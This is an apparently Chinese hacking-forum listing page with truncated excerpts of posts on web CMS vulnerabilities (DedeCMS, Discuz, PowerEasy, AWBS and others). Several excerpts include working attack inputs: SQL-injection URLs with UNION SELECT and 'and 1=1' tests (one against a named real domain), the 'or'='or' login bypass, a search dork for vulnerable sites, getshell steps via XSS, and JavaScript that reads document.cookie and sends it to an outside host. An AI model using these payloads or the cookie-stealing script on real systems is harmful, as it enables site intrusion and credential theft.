电脑病毒论坛 今日: 0|主題: 1421|排名: 14 

  　　影响版本：v2011 　　产品介绍： 　　适合代理建设企业站点的企业源码，方面实用! 　　程序说明： 　　1.特色：简繁中文切换、产品展示系统、新闻发布系统、会员管理系统、留言本计数器、网站信息统计、强大后台操作 功能等; 　　2.页面包括：首页、企业介绍、滚动公告通知发布系统、企业新闻系统、产品展示系统 ...

　　在上一篇《PHP+MySQL注入导出文件的新发现——附带IPB2的漏洞利用》，利用IPB2的注入漏洞获得管理员的资料，修改COOKIE可以得到前台的管理权限。不少人埋怨没有什么用，其实这个是大多数人不了解IPB2的原因。 　　因为过滤了很多特殊字符，包括单引号，全部转为十进制了。 　　其实充分发挥一下想象力。也是 ...

　　漏洞代码如下： 　　// go.php 　　$q_url=$_SERVER["REQUEST_URI"]; 　　@list($relativePath, $rawURL)=@explode('/go.php/', $q_url); 　　$rewritedURL=$rawURL; // 来自$_SERVER["REQUEST_URI"],可以任意提交的 　　... 　　$RewriteRules[]="/component/([^/]+)/?/"; 　　// 这个正则限制的不够细致,可以很轻易的 ...

　　刚搜了一下貌似和以前一个漏洞是一个问题。有点鸡肋，需要条件： 　　1.网站配置为：文章生成真静态 　　2.允许注册会员 　　给出v6的测试代码，提交后执行phpinfo()，v7原理一样，只是数据库字段数不一样。 　　member/list.php?step=2&Type=delete&aidDB[]=-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,15,6 ...

　　1.远程文件 　　PHP是一门具有丰富特性的语言，它提供了大量函数，使程序员能够方便地实现各种功能，远程文件就是一个很好的例子： 　　代码 　　 　　$fp=@Fopen($url,"r") or die ("cannot open $url"); 　　while($line=@fgets($fp,1024)) { 　　$contents.=$line; 　　} 　　echo $contents; //显示文件内容 　　fc ...

　　Vulnerability Details: 　　sid变量未经过过滤 产生SQL注射。 　　Exploits:http://site/plugin.php?id=huxhall:huxhall&sid=1 你懂的。 　　KeyWords:inurl:huxhall:huxhall 　　Related companies:乐游网 HappyYux.com 　　Repair Methods:过滤 　　Has patch:No 　　测试的时候看了看 发现的 　　没有时间给你们做 ...

　　说到%5c，你是不是想起了当前流行的那个%5c暴库漏洞，呵呵，本文就是对%5c利用的探索(呵呵，当然有我提出的新东东，或许对你有帮助哦^_^)。 　　好，我们先追根溯源，找到那个漏洞的老底。看看绿盟2001年的漏洞公告：_bug&do=view&bug_id=1429">http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=1429 　　 ...

　　DISCUZX1.5 本地文件包含，当然是有条件的，就是使用文件作为缓存。 　　config_global.php 　　$_config['cache']['type'] = ‘file’; 　　function cachedata($cachenames) { 　　…… 　　$isfilecache = getglobal(‘config/cache/type’) == ‘file’; 　　…&h ...

　　动易4.03上传漏洞。2005-1-10 就出来了，一直没有公布。 　　看黑客防线的攻关第3关用的是动易所有公布出来了。 　　影响版本: 动易4.03 　　上面的是动易的上传代码，从上面分析，我们可以看到，它明显存在着上传漏洞。重要的漏洞代 　　码在于这一句 　　FileExt=lcase(ofile.FileExt) '判断扩展名 　　arrUpFileType ...

　　影响版本：EimsCms v5.0 　　官方网站：http://www.eimscms.com/ 　　漏洞类型：跨站XSS 　　漏洞描述：未对Book.asp邮箱等处进行符号转义，导致XSS跨站执行漏洞。 　　------GetShell----- 　　[1] 在Book.asp的邮箱处填写一句话,提交 　　[2] 在Book.asp的邮箱处填写XSS语句中的CSRF 　　[3] 等待管理员触发XSS语句, ...

　　member.php 　　if($action=='edit_member_ok'){ //member.php?action=edit_member_ok 　　check_request(); //检查来路 　　if(!check_login()){ //检测是否登录会员 　　message(array('text'=>$language['please_login'],'link'=>'member.php')); 　　} 　　...省略一堆无关东西 　　$member_photo_delete=empty($_P ...

　　最近的动易CMS漏洞可以说着实火了一把，本文写的CMS虽然没有动易功能强大，但同样存在注入漏洞。这种漏洞用工具是扫不到的，可以说注入已经由显式转为隐式了，必须查看源代码才有可能发现潜在的漏洞。 　　适合读者：入侵爱好者前置知识：无发掘MaosinCMS网站系统漏洞 舒城李寅♂(梦幻★剑客) 最近的动易CMS漏洞可以说 ...

　　漏洞原理 　　漏洞的利用原理很简单，请看Upload.asp文件： 　　任何情况下都不允许上传asp脚本文件 　　sAllowExt = Replace(UCase(sAllowExt), "ASP", "") 　　修补方法：用以下语句替换上面那局话 　　dim sFileType,Un_FileType,FileType 　　sFileType= "asp|cer|asa|cdx|htr" 　　Un_FileType = split(sFileType, ...

　　bo-blog是一款外观好看，而且当前流行的个人博客系统，在很多下载站你都可以找到这套程序，而且甚至有很多安全界的人都使用着这套php+txt的程序，但是这套程序里有些安全隐患，可能会被人利用去做一些破坏。 　　首先开门见山，我们说说它的绝对路径暴露问题......... 　　只要提交地址：_blank>http://localhost/blog/ ...

　　这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞! 　　废话不说 　　经典对白 看代码! 　　member\soft_edit.php 　　01if(empty($dopost)) //如果这里是空也就是直接访问这个文件 　　02{ 　　03 //读取归档信息 　　04 $arcQuery= "Select 　　05 dede_channeltype.typename aschannelname, 　　06 de ...

　　万能密码漏洞以及修复 　　记得几年前要入侵一个企业网站超级简单 　　一般只需要找到后台 还有后台通常是www.xxx.com/admin/ 　　然后账号 密码都是'or'='or' 就进去 　　现在好像有几个也可以用 但是已经没那么普及了 　　如果网站还出现这种“万能密码”漏洞该怎么办呢 　　'or'='or' 漏洞修复 方法有很多 ...

国内最专业的ASP网站内容管理系统-小游戏管理系统，他将是您轻松建站的首选利器。小游戏CMS系统对站点管理和创造编辑都有好处，无论是CMS系统的易用性和功能的完善性，都处于领先优势！网站的编辑、发布、管理人员可轻松便捷的通过小游戏CMS系统来提交修改、审批、发布内容。　　[xyxcms] 　　版本信息：V1.3 正式版 　　软 ...

　　Js里可以写shell，添加用户，偷取COOKIE然后模拟出真正的转向 　　xmlhttp=poster(); 　　cookie=document.cookie; 　　login=cookie.indexOf(‘password’)==-1?0:1; 　　tolocation=’https://www.jb51.net/’; 　　//get cookie 　　x=new Image(); 　　x.src=”www.dosjj.com/c.php?c=&rd ...

　　第一个 　　简要描述：由于变量过滤不严产生SQL注入漏洞 可通过入侵手段 拿到站点权限 　　详细说明：http://labs.duba.net/kws/feedback2/his.php?uuid=622D988684F34161BC09E869DB38BF3B&app=2 　　漏洞证明：http://labs.duba.net/kws/feedback2/his.php?uuid=622D988684F34161BC09E869DB38BF3B&app=2 and 1=1 　　h ...

　　影响版本：AWBS 2.9.2 　　官方网站：http://www.awbs.com 　　漏洞类型：SQL注入 　　漏洞描述： 　　---Vulnerability--- 　　http(s)://[HOST]/cart?ca=add_other&oid=[TRUE VALUE]'[BLIND-SQL] 　　============================================================================================= 　　---PoC Usi ...